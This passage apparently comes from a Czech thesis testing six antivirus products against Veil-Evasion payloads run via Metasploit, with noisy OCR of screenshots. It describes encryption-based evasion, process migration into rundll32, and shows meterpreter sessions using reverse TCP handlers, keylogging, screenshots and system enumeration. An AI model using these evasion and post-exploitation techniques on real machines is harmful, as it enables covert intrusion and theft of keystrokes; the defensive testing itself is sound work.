slou¢eni téchto antivirti do jedné spole¢nosti. (Obrazek 17)

Nastroje komprimované slozky

< Nastroje aplikace
@ Domd Sdileni

Zobrazeni Sprava

4 || > Tentopoiaé » Plocha > shellcode «| @ | Prohledat: shellcode
Nazev
s Rychly pristup

[¥] shellcode
I Plocha

Datum zmény Tip Velikost
30.03.2017 12:28 Aplikace 31kB

& Statené soubory
[£) Dokumenty
=] Obrézky
D Hudba
B videa
& OneDrive
[ Tento pocitad

] tento soubor miZe obsahovat néco
- Jednotka USB (E)

b st

T\Desktop\shellcode)

o patnactisekundovy test pro odhalent
Pocet polozek: 1 Podet vybranych polozek: 1; 30.9 kB

Obriazek 17 — Detekce hrozby p¥i spusténi — scéna¥ 2 — AVG (zdroj — vlastni)
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7.3.3 Avira

Antivir Avira v tomto testu neuspél a dovolil uzivateli bez problému spustit shellcode.exe a
navazat tak spojeni s uto¢nikem. Pro ukazku, ze dosSlo ke spojeni, bylo vyuzito funkci
meterpreteru a to konkrétné: zobrazeni informaci o ovladnutém zafizeni + vytvofeni

screenshotu obrazovky ovladnutého zatizeni. (Obrazek 18)

root@kali: ~/Vefejné
Soubor Upravit Zobrazit Hledat Terminal Napovéda

Command Description

hashdump Dumps the contents of the SAM database

Timestomp Commands

timestomp Manipulate file MACE attributes

rpreter > sysinfo
: DESKTOP-06LRDGR
: Windows 10 (Build 14393).
Architecture : x64
System Language : cs CZ
Domain : WORKGROUP

Nstroje aplikace
Zobrazeni Spedva

» Tentopocitaé » Plocha > shellcode

# Rychly plistup

Logged On Users : 2 ,  [Elshelicode

B Plochs

& Stazené soubory

Meterpreter : x86/windows

meterpreter > screenshot

Screenshot saved to: /root/Verejné/f0TOdzWY.jpeg
neterpreter > []

Ookumenty
& Obrizky
) Hudbe

& videa

G OneDrive

@ Tento pocita¢

= Jednotka US8 ()

# st

Obrazek 18 — Ovladnuté zafizeni — scénai 2 — Avira (zdroj — vlastni)
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7.3.4 Bitdefender

Antivir Bitdefender nem¢l s identifikovanim hrozby zadny problém, stejné jako vétSina
ostatnich antivirQ, s tim rozdilem, Ze Bitdefender dokdzal hrozbu identifikovat jiz pii pienaseni

zip souboru z flash disku do cilového PC. (Obrazek 19)

E

BCPCI

Mastroje komprimaované slozky

‘-_] Soubor Domil Sdileni Zobrazenl Rozbalen(
-

= &> Prohledat: (E:)
Tento pocitad T & v O rohleda

ol Nazev Datum zmény
3 Rychly piistup
I Plocha

J Stazené soub

others 2 ] Slozka soubord
file.zip 7 2 Komprimovana sl..

¢ shellcodezip 3 Komprimovana sl...
= Dekumnenty

| Obrazky
D Hudba
B Videa
7@ OneDrive
A Tento pocitaé

- (E)
others
¢ filezip
v o€

g

Polet polozek: 3 Polet vybranych polozek: 1; 22 bajtd
filezip
=+ Kopirovat do: Plocha
o

Pomocnik pii
upgradu na...

Obrazek 19 — Detekce hrozby p¥i kopirovani — scénar 2 — Bitdefender (zdroj — vlastni)
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7.3.5 Windows Defender

I Windows Defender si pocinal velice dobie, protoze hrozbu identifikoval okamzité po

extrahovani zip souboru. (Obrazek 20)

Nastroje komprimované sloZky

@ Domd Sdileni Zobrazeni

1 » Tento poéita » Plocha » shellcode v O Prohledat: shellcode

Nazev Datum zmény Typ Velikost
3k Rychly pfistup
W Plocha Slofka je prazdna.
; StaZené soubory
=| Dokumenty
&=| Obrazky
D Hudba
m Videa
4@ OneDrive
[ Tento poéitad
s Jednotka USB (E:)
o sit

4 Domaci skupina

u Pocet polozek: 0

shellcode

Obrazek 20 — Detekce hrozby po extrahovani — scénai 2 — Windows Defender (zdroj — vlastni)
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7.3.6 Panda
Antivir Panda neuspél podobné jako antivir Avira. Nijak uZzivateli nebranil pfi spousténi
souboru shellcode.exe a pro ukdzku zmocnéni se systému s antivirem Panda byla vyuzita

funkce meterpreteru, skenovani klavesnice ovladnutého systému. (Obrazek 21, Obrazek 22)

_ | Bez nézvu - Pozndmkovy blok - O X

24 Soubor Upravy Format Zobrazeni Napovéda

Toto je text napsany na ovladnutem PC!

ohled:

Obrazek 21 — Text psany na ovladnutém zarizeni — scénaf 2 — Panda (zdroj — vlastni)

meterpreter > keyscan start
Starting the keystroke sniffer...
meterpreter > keyscan dump
Dumping captured keystrokes...

Toto je text napsany na ovladnutem PC <Quotes>
meterpreter > keyscan stop

Stopping the keystroke sniffer...

meterpreter > JJ

Obrazek 22 — Ovladnuté zafizeni, keyscan — scénar 2 — Panda (zdroj — vlastni)
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7.4 Scénar 3

Scénar 3 opét vyuzil moznosti frameworku Veil-Evasion, ktery vygeneroval payload (napsany
V jazyce python) zasifrovany algoritmem AES. Veil-Evasion z tohoto payloadu vytvofil také
spustitelny soubor exe, ktery byl pojmenovan payloadenc.exe. Pfenos na jednotliva zatizeni

probihal v zazipované formé a spojeni bylo fizeno opét frameworkem Metasploit.

7.4.1 Avast

Antivir Avast zareagoval na soubor payloadenc.exe negativné a tento soubor odmitl uzivateli
pouzivat jeho zablokovanim. VSe okamzit¢ po extrahovani zazipovaného adresare.

(Obrézek 23)

F

BCPC1 shellcode

=1 payload_with_enc

v

Soubor [EERLTN]

sdileni Zobrazeni

> Tento poditad » Plocha » payload with_enc v | O

T

Prohledat: payload_with_enc @
MNazev Datum zmény Typ Velikost
7 Rychly pfistup

I Plocha [ payloadenc 01.04.2017 12:26 Aplikace 2930 kB
‘ Stafené soubory
= Dokumenty
=| Obrazky
D Hudba
B vides M avast
¢@ Onelrive
Zablokovéna hrozba
[ Tento pocitaé
s Jednotka USE (E:) Objekt
ChUsers'BCPCTDesktopl. \payloadenc.exe
o st B !
Infekce
*& Domaci skupina Winzz:Malware-gen

Hrozba byla detekove

Pocet poloZek: 1

Provéfi cely poditaé a zjisti mozné problémy

] 1228
AT D) 00007

Obrazek 23 — Detekce hrozby — scénar 3 — Avast (zdroj — vlastni)
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742 AVG
AVG podobné jako Avast neumoznil uzivateli jakoukoli interakci se souborem payloadenc.exe

a tento soubor umistil do karantény jiz pfi extrahovani. (Obrazek 24)

3

BCPC1
Nastroje komprimované slozky

Kopirovani 1 polozky ze slozky payload_with_... do slozky payload_with_enc
Dokonceno 97 % n x

Dalii podrobnosti

T ¥4 AVG Antivirus Free
=] Obrazl =
D Hudb:
B vides Hrozb
Tento soubor jsme bezpeéné uzamkli v karanténé.
¢@ OneDriy

3 Tento p| =< Win32:Malware-gen
= v ..Desktop\payload_with_enc\payloadenc.exe

= Jednotk v C:\Windows\explorer.exe

¥ sit

shellcod S R s
Latpiaind Mozna na vas cihaji dalsi hrozby! (OTESTOVAT POGITAG

Poet polozek: 6 Pocet vybranych poloek: 1; 2,79 MB
-l
Pomocnik pfi
upgradu na...

P P , Y
- P nY ANBD g B

Obrazek 24 — Detekce hrozby — scénaf 3 — AVG (zdroj — vlastni)

7.4.3 Avira
Antivir Avira oznacil také soubor payloadenc.exe jako hrozbu a po extrahovani jej presunul do

karantény. (Obrazek 25)

Security Alert

DatefTime: 01.04.2017, 12:38:49
Type: Detection

Acress to file

'C:\Users\BCPC1\Desktop), . . \payloadenc. exe’
containing the pattern of

TR /Crypt. XPACK. Gen7 was blocked.

We moved the file to guarantine,

If you are unsure, ask the community or get
live help from Avira Support.

Go to Avira Support

Obrazek 25 — Detekce hrozby — scénar 3 — Avira (zdroj — vlastni)
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7.4.4 Bitdefender

Antivir Bitdefender v testu neobstal a soubor payloadenc.exe nechal bez problému uzivatele
spustit a tim mohlo byt navazano spojeni mezi ovladnutym PC a meterpreterem. Pro ukazku
byl na ovladnutém PC spustén webovy prohlize¢ Microsoft Edge, jez byl nasledné

V meterpreteru zobrazen mezi bézicimi procesy ovladnutého PC. (Obrazek 26, Obrazek 27)

MicrosoftEdgeCP.exe x64 DESKTOP-06LRDGR\BCPC1 :\Windows\SystemApps\Microsoft.MicrosoftEdge 8wekyb3d8bbwe\MicrosoftEdgeCP.exe
tTelRunner.exe

Installer.exe

en.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\smartscreen.exe

.exe X DESKTOP-06LRDGR\BCPC1 \Users\BCPC1\AppData\Local\Microsoft\OneDrive\OneDrive.exe

ent.exe DESKTOP -06LRDGR\BCPC1 :\Windows\System32\InstallAgent.exe
WUDFHost.exe
audiodg.exe

.exe
ApplicationFrameHost.exe x64 DESKTOP-06LRDGR\BCPC1 :\Windows\System32\ApplicationFrameHost.exe
svchost.exe

DESKTOP-06LRDGR\BCPC1 C:\Users\BCPC1\Desktop\payload_with_enc\payloadenc.exe
DESKTOP-06LRDGR\BCPC1 C:\Users\BCPC1\Desktop\payload with enc\payloadenc.exe

WmiPrvSE.exe
InstallAgentUserBroker.exe x64 DESKTOP-06LRDGR\BCPC1 C:\Windows\System32\InstallAgentUserBroker.exe
svchost.exe
MicrosoftEdgeCP.exe x64 DESKTOP-06LRDGR\BCPC1 C:\Windows\SystemApps\Microsoft.MicrosoftEdge_Bwekyb3d8bbwe\MicrosoftEdgeCP.exe
WmiPrvSE.exe
downloa
MicrosoftEdge.ex X64 DESKTOP-06LRDGR\BCPC1 C: <yb3d8bbwe\MicrosoftEdge.exe

shel Uvad

Tento poital pay Kam dé | ?

£ Hiedat nebo zadat webovou adresu

Bitdefender
Antivirus Free

Vitejte na uvodni strance prohlizece
Microsoft Edge

Zvolte si jazyk pro vas prizptsobeny informacni kanal.

filezip ited States (English)

o~

P cnik pfi
upgradu na...

Obrazek 27 — Spustény Microsoft Edge na ovladnutém PC — scéna¥ 3 — Bitdefender (zdroj — vlastni)
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7.45 Windows Defender

Windows Defender povazoval soubor payloadenc.exe taktéz za neskodny, a proto ho uzivateli
dovolil bez obav pustit. Pro ukazku byla vyuzita jina funkce meterpreteru, a to spusténi
ptikazové fadky na ovladnutém systému s naslednym spusténim webového prohlizece Internet

Explorer z této tadky. (Obrazek 28, Obrazek 29)

Terminal e ® 0

Hledat Terminal Napovéda

Volume Serial Number is F6F4-7264

Soubor Upravit Zobrazit

Directory of C:\Program Files\Internet Explorer

28.03.2017 23:18 <DIR>
28.03.2017 23:18 <DIR> o
21.11.2016 ©05:58 <DIR> cs-CZ
21.11.2016 ©5:58 <DIR> en-US
16.07.2016 13:43 534760 hmmapi.dll
11.11.2016 11:58 5126000 iediagcmd.exe
11.11.2016 11:23 4954616 ieinstal.exe
16.07.2016 13:43 2236232 ielowutil.exe
14.12.2016 06:38 4174280 IEShims.dll
04.03.2017 09:03 8256024 iexplore.exe
16.07.2016 13:47 <DIR> images
20.03.2017 17:13 <DIR> SIGNUP
16.07.2016 13:43 376784 sqmapi.dll

7 File(s) 265644696 bytes

6 Dir(s) 676899%6296568 bytes free

C:\Program Files\Internet Explorer>iexplore.exe
iexplore.exe

Obrazek 28 — Meterpreter, spusténi IE — scénai 3 — Windows Defender (zdroj — vlastni)

E hitp msn.com/Zocid=iehp&pc=EUPF O ~ & || FJ] MSN.com - Hotmail, Outlo...

’/ msn being | O

H Store 8 Skype Rewards

K ) (il e I\ ) k!
Uleva od akutni ‘ggm"t<] KOUPIT
bolesti, zinétu £

1 i :
3 otoku | Possenesi rettne sl nfomac Vslares W0 =g it -5
g VLORU - o et o Qe ckdensci e

ni Outlook.com

SKUTEC / 60°F ¢ NEWS  ENTERTAINMENT SPORTS MONEY  LIFESTYL >

11:55
~ =) 01.04.2017 55

Obriazek 29 — Spustény IE na ovladnutém PC — scénai* 3 — Windows Defender (zdroj — vlastni)
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7.4.6 Panda
Antivir Panda podobn¢ jako antiviry Windows Defender a Bitdefender v testu neobstal a taktéz
uzivateli povolil spustit soubor pyloadenc.exe. Pro ukdzku zobrazeny z meterpreteru pouze

zakladni systémové informace o ovladnutém PC. (Obrazek 30, Obrazek 31)

E

BCPCI file

X

Soubor Domd Sdileni Zobrazeni 0

a Systém — ] ¥ Jedat payload_with_enc je
4 E3 s Ovlddacipanely » Systém azabezpeeni » Systém v & Prohledat Ovladaci panel p Velikost

0 2930 kB
HI ladacr panel . . -
Fm oviagact pane Zéakladnf informace o poditadi

& spravce zafizeni Verze systému Windows

G Nastavenivzdaleného piistupu Windows 10 Pro --

G Ochrana systému © 2016 Microsoft Corporation. WI n d OWS 1 O
Viechna prava vyhrazena. ..

) Upiesnit nastavens systému

Systém
Procesor: AMD Phenom(tm) Il X4 965 Processor 3.41 GHz (pocet procesord: 2)
Mainstalovana pamét’ 4,00 GB
(RAM):
Typ systému: Bdbitovy operadni systém, prmi\\;nr pro platformu x64

Pero a dotykové ovladani:  Pro tente displej neni k dispozici zadavani perem ani dotykové zadavani,

Mastaveni nazvu poditace, domény a pracovni skupiny
MNazev poditade: DESKTOP-06LRDGR Zménit nastaveni
Upln)’r ndzev poditade: DESKTOP-OGLRDGR

Popis poditade:

Pracovni skupina: WORKGROUP
Aktivace Windows
Systém Windows je aktivovdn. Precist si Licenéni podminky pro software spoleénosti Microsoft
fake |0 produktu: 00330-80184-64404-AA978 Zmeénit kod Product Key

Zabezpeceni a ddrzba

shellcode

Obrazek 30 — Informace ovladnuté PC — scénar 3 — Panda (zdroj — vlastni)

meterpreter > sysinfo
Computer : DESKTOP-06LRDGR

0S : Windows 10 (Build 14393).
Architecture : X64

System Language : cs CZ
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows

meterpreter > |j

Obrazek 31 — Meterpreter, sysinfo — scénaf 3 — Panda (zdroj — vlastni)
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7.5 Scénar 4

Ve scénaii Cislo 4 byt opét vyuzit framework Veil-Evasion, konkrétn¢ payload vytvoreny
v jazyce python s Sifrovanim DES proti odhaleni. Zaroven byla vyuzita funkce, kterou
framework nabizi, a to migrace spusténého procesu zkompilovanym souborem paylad des.exe,
do procesu rundll32.exe, resp. pod timto procesem je spusSténa instance meterpreteru. Tato
migrace se nastavuje pomoci parametru PrependMigrate na hodnotu true a pouziva se pro
stabilitu spojeni s ovladnutym systémem (Casto se stava, ze obyCejny proces spusténého

souboru muze byt ukonéen jinym procesem, kdezto rundll32 bézi jako hostitelsky proces).

Komunikace opét probihala za pomoci meterpreteru.

7.5.1 Avast
Avast jako prvni testovany antivir odhalil soubor payload des.exe okamzité po extrahovani zip

adresafe, ve kterém se nachazel. Lze vidét na obrazku. (Obrazek 32)

E

BCPC1 payload_wi...

] = | payload_des - m} x

Soubor Domd Sdileni Zobrazeni

T

» Tento pocitac » Plocha » payload_des v | D Prohledat: payload_des P

~

MNazev Datum zmény Typ Velikost
3& Rychly piistup
I Plocha Slozka je prazdna.
; StaZené soubory
= Deokumenty
=| Obrazky
J Hudba X avast
m Videa
Zablokovéna hrozba
#@& OneDrive
[ Tento poéitaé Objekt
CiUsers\BCPCTDesktopl.\payload_des.exe
- (E)
Infekece
o sit’ Winzz:Malware-gen
Proces

o4 Domaci skupina

Chwindowsiexplorer.exe

Hrozba byla detekovana a zablokovana pred otevienim

soubora.
Mahlasit soubor jako falesny poplach
Pocet polozek: 0
Frovefi cely pocitac a zjisti mozné problemy

12
AW oy

Obrazek 32 — Detekce hrozby — scénar 4 — Avast (zdroj — vlastni)
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7.5.2 AVG

AVG si s timto malware taktéz poradilo a detekovalo jej jako hrozbu hned po extrahovani.
(Obrazek 33)

Micteaia kamprimované sloZky

"

B ozbalen( ]
. a Kopl’rova’l:l’1 polozky ze slozky payload_des do slofky payload_des I Prohledat: (E) R
Tt Poeszaad] Dokonceno 97 % 1] x
ento pocita Pomocnik] e Velikost
uwpgradu
llozka soubord
llozka soubord

Daléi podrobnosti
lomprimovana sl...

lomprimovana sl...

lomprimovana sl...

:CI’H[‘:I'IH'\E"EHE L
uzaméen
Tento soubor jsme be: 2 uzamkli v karanténé.

Win32:Malware-gen
v ..C1\Desktop\payload_des\payload_des.exe
o C:\Windows\explorer.exe

payload_wi... es - - s
Moina na vas &ihaji dalsi hrozby!

shellcode

Poéet polofek: 6 Podet vybranych polofek: 1; 2,81 MB

Obrazek 33 — Detekce hrozby — scénar 4 — AVG (zdroj — vlastni)

7.5.3 Avira
Obdobné jako Avast a AVG reagovala Avira a hrozbu bez problému detekovala. (Obrazek 34)

Security Alert

DateTime: 08.04.2017, 14:27:04
Type: Detection

Access to file
'C:\Users\BCPC1\Desktop\payload_des\paylo
ad_des.exe' containing the pattern of
TR/Crypt. XPACK.Gen7 was blocked.

We moved the file to quarantine.

If you are unsure, ask the community or get
live help from Avira Suppart.

Go to Avira Support

Obrazek 34 — Detekce hrozby — scénar 4 — Avira (zdroj — vlastni)
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7.5.4 Bitdefender
Antivir Bitdefender neidentifikoval payload des.exe za hrozbu a umoznil proto ovladnuti

zatizeni. (Obrazek 35)

1%+ Spravee dloh —
Soubor Moinosti  Zobrazit

Procesy Vykon Historie aplikaci Po spuiténi Ufivatelé Podrobnosti Sluzby

- 2% 32% 0% 0%

Mazev Procesor Pamét Disk Sit
5[ InstallAgent 0% ZBME UME/= UMb/=s
=] InstallAgentUserBroker 0% 4,5MB 0 MB/s 0 Mby/s
@2 Microsoft OneDrive (32 bitd) 0% 5.1 MB 0 MB/s 0 Mby/s
57 Microsoft Skype Preview 0% 0,1 MB 0 MB/s 0 Mby/s
¢ Microsoft Windows Search Inde... 0% 59MB 0 MB/s 0 Mb/s
|4 payload_des.exe (32 bitd) 0% 29MB 0 MB/s 0 Mby/s
4 payload_des.exe %’. biti) 0% 1,1 MB 0 MB/s 0 Mby/s
1z Runtime Broker 0% 7.5 MB 0 MB/s 0 Mby/s
= Spocler SubSystem App 0% 3,9MB 0 MB/s 0 Mb/s
5| Windows Driver Foundation - U... 0% 1,8 MB 0 MB/s 0 Mby/s
1| Windows Driver Foundation - U... 0% 1,4 MB 0 MB/s 0 Mby/s
&4 WMI Provider Host 0% 1.5 MB 0 MB/s 0 Mby/s
&4 WMI Provider Host 0% 1,6 MB 0 MB/s 0 Mby/s

Procesy

ystému Windows (28)
aopmodel (21 0% 4.7 MB 0 MB/s 0 Mb/s

Méné informaci

Obrazek 35 — Spusténé procesy ovladnutého zaiizeni — scénar 4 — Bitdefender (zdroj — vlastni)

Na stran€ meterpreteru bylo vyzkouSeno ukonceni procesu payload des.exe, aniz by se

prerusila komunikace. (Obrazek 36)

payload_des.exe DESKTOP-06LRDGR\BCPC1 :\Users\BCPC1\Desktop\payload des\payload des.exe
WmiPrvSE.exe

taskhostw.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\taskhostw.exe

sihost.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\sihost.exe

svchost.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\svchost.exe

RuntimeBroker.exe DESKTOP-06LRDGR\BCPC1 C:\Windows\System32\RuntimeBroker.exe

bdagent.exe DESKTOP-06LRDGR\BCPC1 :\Program Files\Bitdefender Antivirus Free\bdagent.exe
SearchIndexer.exe

SearchProtocolHost.exe

explorer.exe DESKTOP-06LRDGR\BCPC1 :\Windows\explorer.exe

smartscreen.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\smartscreen.exe

WUDFHost.exe

payload des.exe DESKTOP-06LRDGR\BCPC1 C:\Users\BCPC1\Desktop\payload des\payload des.exe
InstallAgentUserBroker.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\InstallAgentUserBroker.exe
InstallAgent.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\InstallAgent.exe

OneDrive.exe DESKTOP-06LRDGR\BCPC1 :\Users\BCPC1\AppData\Local\Microsoft\OneDrive\OneDrive.exe
backgroundTaskHost.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\backgroundTaskHost.exe
backgroundTaskHost.exe DESKTOP-06LRDGR\BCPC1 :\Windows\System32\backgroundTaskHost.exe
svchost.exe

rundl132.exe DESKTOP-06LRDGR\BCPC1 = C:\Windows\SysWOW64\rund1132.exe
TrustedInstaller.exe

TiWorker.exe

| grep rundl132
Filtering on 'rundl132'

Process List

PID PPID Name Arch Session User Path

6352 2072 rundll32.exe x86 1 DESKTOP-06LRDGR\BCPC1 \Windows\SysWOW64\rund1132.exe

eterpreter > ps | grep payload des
Filtering on 'payload des

o matching processes were found
eterpreter > |

Obrazek 36 — Ukonceni procesu (meterpreter) — scénar 4 — Bitdefender (zdroj — vlastni)
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7.5.5 Windows Defender
Windows Defender hrozbu neidentifikoval, a tak mohlo dojit k navazani komunikace mezi

ovladnutym PC a meterpreterem. (Obrazek 37)

msf exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.10.144:8675

[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.10.158

[*] Meterpreter session 1 opened (192.168.10.144:8675 -> 192.168.10.158:49958) a
t 2017-04-08 03:02:15 +0200

meterpreter >
meterpreter > 1s
Listing: C:\Users\BCPCl\Desktop\payload des

Size Type Last modified Name

100777/rwxrwxrwx 3018704 fil 2017-04-08 02:38:14 +0200 payload des.exe

meterpreter > |j

Obrazek 37 — Ovladnuté zaFizeni (meterpreter) — scénar 4 — Windows Defender (zdroj — vlastni)
I po ukonceni procesii payload des.exe na ovladnutém zafizeni (ru¢n€) bylo spojeni
nepieruseno, protoze instance meterpreteru byla migrovana do jiného procesu, ktery zlstal

zachovan, jak je vidét na obrazku (Obrazek 38).

5 Spravee tiloh - O x & Sprivee dloh |
Souber Moinesti  Zobrazit Souber Monesti  Zobrazit
Procesy Vjkon Historiesplikaci Po spuiténi Uivatelé Podrobnosti Slusby Procesy | Vykon | Historie aplikaci | Po spuiténi Uivatelé Podrobnosti Slushy
- 5% 27% 0% C - 2% 26% 0%
MNazev Procesor Pamét Disk Naze Procesor Pamet Disk
] Device Association Framework Provider Host 0% 4TME  OMEs (.
%] Device Association Framewark Provider Host 0% 41MB 0 MB/s
B Hiedsni 0%  295MB OMBAs O B Hese ) 205 e oME
edini % . /s
| Host Process for Windows Tasks 0% 27MB OMB/s O
5] Host Pracess for Windows Tasks 0% 27MB 0 MB/s
] Hostitelsky proces systému Windows (RundliZ2) (32 bitd) 0% 38MB OMBS  C ) - - - _ )
[y L) Hostitesky proces systému Windows (Rundi2) (2 bit) 0% 38MB 0 MB/s
& InstallAgent 0% 1IMB OMBA G
i InstallAgent 0% 11MB 0MB/s
| InstallAgentUserBroker 0% 0SMB  OMB/s O
T InstallAgentUserBroker 0%  0IMB 0MB/s
| Microseft Malware Protection Command Line Utility 0% 20MB OMBS G
& Microsoft Malwsre Protection Command Line Utility 0% 20MB 0 MB/s
& Micrasoft OneDrive (32 bitd) b 0% 43MB OMBSs € - .
& Microsoft OneDrive (32 bité) 0% 43IMB 0MB/s
5] Microsoft Skype Preview 0% 0ZMB  OMB/s O ) )
51 Microsoft Skype Preview 0% 02MB 0MB/s
&, Microsoft Windews Search Filter Host 0% 0OME  OMBS O ] )
£ Microsoft Windows Sesrch Indexer 0% TAMB 0 MB/s
&5, Microsoft Windews Search Indexer 0% TAME  OMBSs O
=] Runtime Broker 0% 43MB 0MB/s
£, Microsoft Windouws Search Protacal Host 0% 16MB OMBs O
% Spooler SubSystem App 0% 3EMB 0MB/s
| payload_des (32 bitd) 0% 24MB OMBs O
- Windows Defender notification icon 0% 23MB 0 MB/s
| payload_des (32 bitd) 0% 06ME  OMBS O
= v %] Windouws Driver Foundation - User-mode Driver Framework H. 0% 14MB 0 MB/s

Obrazek 38 — Procesy ovladnutého zatizeni — scénar 4 — Windows Defender (zdroj — vlastni)
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7.5.6 Panda
Posledni testovany antivir Panda nedokazal odhalit moZznou hrozbu, ¢imz umoznil ovladnout

zafizeni, na kterém byl nainstalovan. (Obrazek 39)

(e = | payload_des - O *
m Doma Sdileni Zobrazeni 0
N » Tento poditaé » Plocha » payload_des v O Prohledat: payload_des 2
MNazev - Datum zmény Typ Velikost

3 Rychly piistup
I Plocha
J Stazené soubory

v payload_des 08.04.2017 2:38 Aplikace 2943 kB

R

[#] Started reverse TCP handler on 192.168.10.144:8675
[*] Starting the payload handler...

[*] Sending stage (957487 bytes) to 192.168.10.163
[*] Meterpreter session 3 opened (192.168.10.144:8675 -> 192.168.10.163:50014) at 2017-04-08 05:44:05 +0200

Obrazek 39 — Ovladnuti zaFizeni — scénai 4 — Panda (zdroj — vlastni)
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7.6 Scénar 5
V tomto scénaii byl vytvoren stejny payload jako ve scénéii 4, ale zaSifrovany algoritmem
ARC. Doruceny k uzivateli ve formé zip, kde se ukryval nikoli spustitelny soubor .exe, ale

davkovy soubor .bat (pow_meter.bat).

7.6.1 Avast

Avast opét nemél problém s detekci souboru pow meter.bat a oznacenim, ze se jedné o hrozbu.

Tento soubor zablokoval. (Obrazek 40)

a avast

Zablokovéna hrozba

Ohjekt
ChlsersiBCPCTDesktopl. \pow_meter.bat

Infekece
VES:Decode-MNC [Trj]

Proces
SWindowste er.exe
CWindo xplorer.ex

Hrozba byla detekovana a zablokovana pfed otevienim
soubord.

Mahlasit soubor jakeo falesny poplach

P> spustit Celkovy test

Provefl cely pocitac a zjisti mozneé problemy

Obrazek 40 — Detekce hrozby — scénafr 5 — Avast (zdroj — vlastni)

7.6.2 AVG
Podobné jako Avast i AVG detekovalo soubor pow_meter.bat jako hrozbu. (Obrazek 41)

AVG AntiVirus Fre;

Tento soubor jsme bezpecné uzamkli v karanténé.

VBS:Decode-NC [Trj]
v .BCPC1\Desktop\pow_meter\pow_meter.bat
C:\Windows\explorer.exe

Mozna na vas Cihaji dalsi hrozby!

Obrazek 41 — Detekce hrozby — scénar 5 — AVG (zdroj — vlastni)
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7.6.3 Avira

Avira byla prvnim antivirem, ktery povolil uzivateli pow meter.bat spustit a umoznit tak
ovladnout PC na némz byl antivir nainstalovan. Ani po manualni kontrole nebyla identifikovana

hrozba. (Obrazek 42)

| [+ = | Mastroje aplikace
Domd sdileni Zobrazenl Sprava 9
™ > Tento pocitaé » Plocha * pow_meter v D Prohledat: pow_meter P
.
Nazew Datum zmény Typ Velikost
7 Rychly pfistup
pow_meter 11.04.2017 19:20 Davkovy soubor s... 3 kB
B Plecha =
1‘ StaZené soubary U Luke Filewalker -
|5 Dokumenty [:}
=1 Obrézky Free Antivirus
D' Hudba
m Videa 7 Help
¢ OneDrive

Status: Finished
Last object:
C:\Users\BCPC1\Desktop\pow_meter\pow_meter.bat

[ Tento pofitaé

= Jednotka USB (E:)

= ig 100%
Last detection: Mo detection
Scanned files: 1 Detections: 0
Scanned directories: i} Warnings: 0
Scanned archives: o
Used time: 00:00
Scanned: 100%
End ] [ Report
Polet poloZek: 1 PoZet vybrangich poloZek: 1: 2,26 kB =

Obrazek 42 — Hrozba neidentifikovana — scéna¥ 5 — Avira (zdroj — vlastni)
7.6.4 Bitdefender

Bitdefender po extrahovani oznacil soubor pow meter.bat jako hrozbu a zablokoval ji.
(Obrazek 43)

On-access scan

B

Obrazek 43 — Detekce hrozby — scénaf 5 — Bitdefender (zdroj — vlastni)
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7.6.5 Windows Defender

Windows Defender ani po manualni kontrole neoznacil pow meter.bat jako hrozbu a umoznil

uzivateli spustit soubor. (Obrazek 44)

[NERNES Nastroje aplikace ~ pow_mete - O
Domé  Sdileni  Zebrazeni Sprava

1 » Tento poéita¢ » Plocha > pow_meter v B Prohledat: pow_meter »

Nazev - Datum zmény Typ Velikost
3t Rychly piistup
I Plocha
¥ Stazené soubory
[ Dokumenty
&=| Obrazky
D Hudba -
B Videa & L Aktualizovat Nastaveni v Napovéda

Dpow_mater 11.04.2017 19:20 Davkovy soubor s... 3kB

£ Windows Defender NS

Zd@a OneDrive

= Celkem zkontrolovédna 1 polozka. Moznosti kontroly:
L EEEEE Béhem kontroly nebyly v poéitadi nalezeny Zadné hrazby.

- (E)

¥ sit

Va§ poditac je monitorovan a chranén, @ Rychla
(O Uplné

(O Viastni

*& Doméci skupina

& Ochrana v redlném case:  Zapnuto

& Definice vird a spywaru;  Aktudlni Zkontrelovat nyni

Pocet polozek: 1 Podet vybran|

O\ Padrobnosti kontroly
Posledni kontrola: Dnes v 17:3% (Rychlé prohledani)

Obrazek 44 — Hrozba neidentifikovana — scéna¥ 5 — Windows Defender (zdroj — vlastni)

7.6.6 Panda
Antivir Panda podobné jako Windows Defender, Bitdefender, nebo i Avira soubor

pow_meter.bat neoznacil jako hrozbu ani po manualni kontrole. (Obrazek 45)

M 5 Nastroje aplikace _met - 2
Domd Sdileni Zobrazeni Sprava Q
™ > Tento pocitac > Plocha > pow_meter v O Prohledat: pow_meter pel
2
Nazev Datum zmény Typ Velikost
3 Rychly pfistup
[] pow_meter 11.04.2017 19:20 Davkovy soubors... 3kB

I Plocha

& Stazené soubory

e
J Custom scan

Done!

Scanned
EL 0 Detected

@ O 1

Detailed report \v/

Pocet polozek: 1 Pocet vybranych polozek: 1; 2,26 kB E &=

Obrazek 45 — Hrozba neidentifikovana — scénaf 5 — Panda (zdroj — vlastni)
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7.7 Scénar 6

Ve scénafi byl vytvoien payload ve skriptovacim jazyce powershell (s uzitim frameworku Veil—
Evasion) a kuzivateli byl doru¢en ve formé zip, kde se ukryval spustitelny soubor
payl_https.exe. V tomto scénaii byl k ovladnuti cilového zafizeni vyuzit protokol HTTPS, ktery
na rozdil od TCP (pouzito v pfedchozich scénarich) piedstavuje zaSifrovanou komunikaci,

takze pro firewall se tvaii mnohem bezpecnéji, resp. daveéryhodnéji.

7.7.1 Avast
Ani protokol HTTPS nezménil nic na tom, Ze antivir Avast detekoval soubor payl https.exe

jako hrozbu a neumoznil uzivateli jej spustit. (Obrazek 46)

@ avast

Zablokovina hrozba

Objekt
ChilJsers'\BCPCTDesktopt. \payl_https.exe

Infekce
Winz22:Malware-gen

Proces
Chwindows\System32wiserinit.exe

Hrozba byla detekovana a zablokovana pfi vytvofeni
nelbo zméene souboru.

" Spustit Celkovy test

Provefl cely poditad a zjisti mozné problémy

Obrazek 46 — Detekce hrozby — scénaf 6 — Avast (zdroj — vlastni)

7.7.2 AVG

AVG opét jako Avast detekovalo hrozbu a neumoznilo uzivateli pracovat se souborem

